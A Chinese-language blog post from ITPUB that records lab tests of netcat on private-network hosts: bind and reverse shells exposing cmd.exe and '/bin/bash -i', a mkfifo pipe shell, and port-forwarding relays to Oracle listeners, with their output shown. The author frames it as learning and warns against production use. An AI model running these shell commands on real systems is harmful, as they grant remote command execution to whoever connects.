[20230309]nc reverse bash shell or cmd.exe(windows).txt
[20230309]nc reverse bash shell or cmd.exe(windows).txt
--//nc 是網路利器,以前曾經做過[20210908]Reverse Shell with Bash.txt=>http://blog.itpub.net/267265/viewspace-2790933/。
--//最近看了這方面內容,測試reserver bash shell or cmd.exe(windows)以及埠轉發,代理:
1.環境:
--//首先找2,3臺機器,千萬不要在生產系統做這樣的測試!!
192.168.100.78 linux (Oracle Linux Server release 5.9)
192.168.98.6 windows
192.168.100.235 linux (Red Hat Enterprise Linux Server release 7.5 )
--//注: 192.168.100.235 的nc版本高一些,支援更多的引數選擇.另外我發現兩臺機器nc的來源不一樣,做一下說明,我估計最新版本的機器
--//都是來自nmap包,支援的引數有一點點亂!!
--//192.168.100.78的nc版本.
$ rpm -qif $(which nc)
Name : nc Relocations: (not relocatable)
Version : 1.84 Vendor: Oracle USA
Release : 10.fc6 Build Date: Wed 06 Jun 2007 07:33:51 PM CST
Install Date: Fri 29 Aug 2014 09:27:41 PM CST Build Host: ca-build14
Group : Applications/Internet Source RPM: nc-1.84-10.fc6.src.rpm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Size : 111823 License: GPL
Signature : DSA/SHA1, Fri 08 Jun 2007 08:19:28 AM CST, Key ID 66ced3de1e5e0159
URL :
Summary : Reads and writes data across network connections using TCP or UDP.
--//192.168.100.235的nc版本.
$ rpm -qif $(which nc)
Name : nmap-ncat
Epoch : 2
Version : 6.40
Release : 13.el7
Architecture: x86_64
Install Date: Tue 10 Nov 2020 07:39:27 PM CST
Group : Applications/System
Size : 432699
License : GPLv2 and LGPLv2+ and GPLv2+ and BSD
Signature : RSA/SHA256, Sun 28 Jan 2018 09:04:52 PM CST, Key ID 72f97b74ec551f03
Source RPM : nmap-6.40-13.el7.src.rpm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Build Date : Sun 28 Jan 2018 09:04:38 PM CST
Build Host : x86-ol7-builder-01.us.oracle.com
Relocations : (not relocatable)
Vendor : Oracle America
URL :
Summary : Nmap's Netcat replacement
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
--//新的版本作為nmap的一部分替換原來的nc版本.實際的執行程式名是ncat.
$ ls -l /usr/bin/nc /usr/bin/ncat
lrwxrwxrwx. 1 root root 4 2020-11-10 19:39:26 /usr/bin/nc -> ncat
-rwxr-xr-x. 1 root root 380224 2018-01-28 21:04:22 /usr/bin/ncat
--//為了測試方便兩臺linux機器建立管道檔案/tmp/f,不再另外說明.
# mkfifo /tmp/f
# chmod 777 /tmp/f
--//windwos下的nc.exe可以在代理穿透 下載.並設定好環境變數PATH,可以直接訪問.
--//注:我使用防毒軟體將裡面nc1.exe給清除了,感覺應該沒有問題,因為我在別的機器嘗試解壓沒有問題.
2.測試1:
--//windows的版本支援-e progname選項,連通後可以在其它機器上連線該機器.
--//192.168.98.6 windows
R:\>nc -l -p 1234 -t -e cmd.exe
--//或者
R:\>nc -l -p 1234 -e cmd.exe
--//192.168.100.78 linux
$ nc 192.168.98.6 1234
Microsoft Windows [版本 6.1.7600]
版權所有 (c) 2009 Microsoft Corporation。保留所有權利。
R:\>dir
dir
驅動器 R 中的卷是 RAMDISK
卷的序列號是 0122-14E0
R:\ 的目錄
2023/03/09 08:31 <DIR> log
2023/03/09 08:30 <DIR> TEMP
2023/03/09 08:24 <DIR> VDownload
1 個檔案 859 位元組
3 個目錄 738,344,960 可用位元組
--//執行命令有一個缺點,會回顯執行的命令在執行,而且無法使用上下鍵選擇命令的執行歷史在執行.
--//還可以這樣操作:
--//192.168.98.6 windows
R:\>nc -l -p 1234 -t -e "sqlplus scott/book@78"
--//192.168.100.78 linux 或者192.168.100.235 linux
$ nc 192.168.98.6 1234
...
SCOTT@78> @ ver1
PORT_STRING VERSION BANNER
------------------------------ -------------- --------------------------------------------------------------------------------
x86_64/Linux 2.4.xx 11.2.0.4.0 Oracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit Production
SCOTT@78> host pwd
R:\
3.測試2:
--//反過來呢?我看了一下我的測試機器192.168.100.78,nc版本很低,許多引數沒有,選擇192.168.100.235測試.
--//192.168.100.235 linux
$ nc -l -p 1234 -e "/bin/bash -i "
--//或者
$ nc -l -p 1234 -t -e "/bin/bash -i "
--//192.168.100.78 linux
$ nc 192.168.100.235 1234
hostname
LIS-DB
ls -l
total 28
-rw-r--r--. 1 oracle oinstall 2639 Oct 14 10:39 fastlink.sh
-rw-r--r--. 1 oracle oinstall 5725 Nov 7 09:51 oalias.sh
-rw-r--r--. 1 oracle oinstall 5459 Oct 20 09:00 oalias.sh.20221024
-rw-r--r--. 1 oracle oinstall 4551 Oct 14 10:47 oalias.sh.bak
ll
--//執行命令有一個缺點,沒有命令列提示符號,命令類似盲打.
--//注: 在windows下我無法實現,不知道原因,先暫時放一下.
--//192.168.98.6 windows
R:\> nc 192.168.100.235 1234
--//!!掛起!!
4.測試3:
--//也可以把命令反過來使用,效果是一樣的.
--//192.168.100.78 linux
$ nc -l 1234
--//192.168.98.6 windows
R:\> nc 192.168.100.78 1234 -e cmd.exe
--//192.168.100.78 linux
$ nc -l 1234
Microsoft Windows [版本 6.1.7600]
版權所有 (c) 2009 Microsoft Corporation。保留所有權利。
R:\>dir
dir
驅動器 R 中的卷是 RAMDISK
卷的序列號是 0122-14E0
R:\ 的目錄
2023/03/10 08:39 <DIR> log
2023/03/10 08:38 <DIR> TEMP
2023/03/10 08:34 <DIR> VDownload
2010/11/30 08:29 859 zws.ppk
1 個檔案 859 位元組
3 個目錄 774,134,784 可用位元組
5.測試4:
--//192.168.100.78 linux
$ nc -l 1234
--//192.168.100.235 linux
$ nc 192.168.100.78 1234 -e '/bin/bash -i'
--//192.168.100.78 linux
$ nc -l 1234
hostname
LIS-DB
--//缺點就是命令給盲打,沒有命令提示符,不支援tab,上下鍵選擇命令.
6.測試5:
--//192.168.100.78 linux
$ mkfifo /tmp/f
$ cat /tmp/f | /bin/bash -i 2>&1 | nc -l 1234 > /tmp/f
--//我嘗試從不同os連線.
--//192.168.98.6 windows
R:\> nc 192.168.100.78 1234
bash: no job control in this shell
--//PS1的提示出現亂碼或者不對齊,不影響使用.提示bash: no job control in this shell,似乎一些bg,fg的命令無法使用.
--//實際上因為沒有terminal的緣故.tty命令顯示no tty. 這樣vim之類的編輯軟體是不能用的.
--//192.168.100.235 linux
$ nc 192.168.100.78 1234
--//命令會回顯,但是顯示效果很好,也可以使用tab鍵以及上下鍵,但是顯示亂碼,執行是正常的,基本就是屬於盲打.
7.測試6(測試埠轉發):
--//192.168.100.78 linux
$ nc -k -l 1234 < /tmp/f | nc 192.168.100.235 1521 > /tmp/f
--//或者
$ nc -l 1234 < /tmp/f | nc 192.168.100.235 1521 > /tmp/f
--//相當於訪問192.168.100.78的1234埠就是訪問192.168.100.235的1521埠.
--//-k 的作用相當我不是很理解,client退出後還保持開啟狀態.但是重新發起連線會斷開.
--//-k 引數要配合 -m 引數,不過這個版本不支援-m引數.
--//另外我發現nc的引數非常不一致,一些版本-m的意思不同.
--//一個變態的寫法寫成死迴圈:
--//192.168.100.78 linux
$ while :; do nc -l 1234 < /tmp/f | nc 192.168.100.235 1521 > /tmp/f ; done
--//192.168.98.6 windows
R:\>sqlplus sys/XXXXXXXX@192.168.100.78:1234/orcl as sysdba
..
SYS@192.168.100.78:1234/orcl> @ ver1
SYS@192.168.100.78:1234/orcl> @ prxx_win
==============================
PORT_STRING : x86_64/Linux 2.4.xx
VERSION : 19.0.0.0.0
BANNER : Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 - Production
BANNER_FULL : Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 - Production
Version 19.3.0.0.0
BANNER_LEGACY : Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 - Production
CON_ID : 0
PL/SQL procedure successfully completed.
--//當然你別指望同時開啟多個會話.
8.測試7(測試埠轉發):
--//192.168.100.235 linux
--//該機器nc版本較新,支援許多新的引數選擇.比如-c 引數.
$ nc -l -p 1234 -c 'nc 192.168.100.78 1521'
--//相當於將192.168.100.235 的1234埠對映到192.168.100.78 1521.
--//192.168.100.78 linux
$ sqlplus -s -l scott/book@192.168.100.235:1234/book <<< @ver1
PORT_STRING VERSION BANNER
------------------------------ -------------- --------------------------------------------------------------------------------
x86_64/Linux 2.4.xx 11.2.0.4.0 Oracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit Production
--//缺點是這樣的寫法僅僅連線一次,退出後再重新連線不行!!可以像上面那樣寫一個死迴圈.
--//192.168.100.235 linux
$ while :; do nc -l -p 1234 -c 'nc 192.168.100.78 1521' ; done
--//或者寫成如下,寫成如下可以連線5次.
$ seq 5 | xargs -IQ bash -c "nc -l -p 1234 -c 'nc 192.168.100.78 1521'"
9.總結:
--//全當作學習一些網路知識,瞭解增加nc的使用技巧,不要在生產系統做這類測試!!
--//另外我發現一些命令引數各個版本意思不一致,有點混亂.
--//一些版本-l -p 不能一起使用,有一些可以等等.
10.補充:
--//在結束測試前我粗略瀏覽nc文件,較新的nc版本-k要和-m配合:
--//192.168.100.235 linux
$ nc -k -m 5 -l -p 1234 -c 'nc 192.168.100.78 1521'
--//這樣可以實現5個連線沒有任何問題,同時開啟5個會話沒有問題.
--//不管如何操作,先開啟監聽,然後在啟動連線.nc應用非常靈活.我僅僅學習nc的冰上一角.
--//另外在測試4中命令盲打的問題,我找到一個連結:可以很好解決這個問題,
--//另外寫一篇blog.
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/267265/viewspace-2939166/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- [20210908]Reverse Shell with Bash.txt
- [20230121]windows cmd.exe小技巧.txtWindows
- [20210913]bash shell $* and $@ 的區別.txt
- [20181212]bash shell 字串 補零.txt字串
- Simple python reverse shellPython
- shell Bash變數變數
- bash shell tips
- Bash Shell 基礎特性
- [20210330]bash使用source or ..呼叫shell指令碼注意txt指令碼
- [20231123]函式與bash shell呼叫.txt函式
- [20210618]記錄bash shell執行的命令.txt
- Shell(Bash)學習· 總章
- xecuting shell commands with bash
- bash shell 程式與磁碟資料
- shell程式設計–bash變數程式設計變數
- bash shell計算時間差
- Linux的Bash Shell詳解Linux
- linux自定義shell(bash)命令Linux
- 9.bash shell程式設計程式設計
- BASH shell set命令詳解(轉)
- Shell Script(bash)--教學例(轉)
- [20210107]編寫bash shell指令碼遇到的問題.txt指令碼
- [20231023]生成bbed的執行指令碼(bash shell).txt指令碼
- [20231102]除錯bash shell指令碼遇到的問題.txt除錯指令碼
- Linux深入探索04-Bash shellLinux
- HP-UX 安裝使用bash shellUX
- BASH SHELL 程式設計簡介(轉)程式設計
- 20天學會bash shell script (二)
- 20天會學bash shell script(一)
- 20 天學會bash shell script (三)
- shell和bash指令碼命令學習指令碼
- Shell Script(bash)--用於自動備份的Shell Script(轉)
- 在 Windows Git Bash 中安裝 bash-git-promptWindowsGit
- 在 Windows Git Bash 中安裝 bash-git-proWindowsGit
- windows環境安裝nc(netcat)命令Windows
- 執行shell指令碼報錯:-bash: ./test1.sh: /bin/bash^M: ...指令碼
- shell程式設計–bash變數介紹程式設計變數
- Linux中bash shell環境變數Linux變數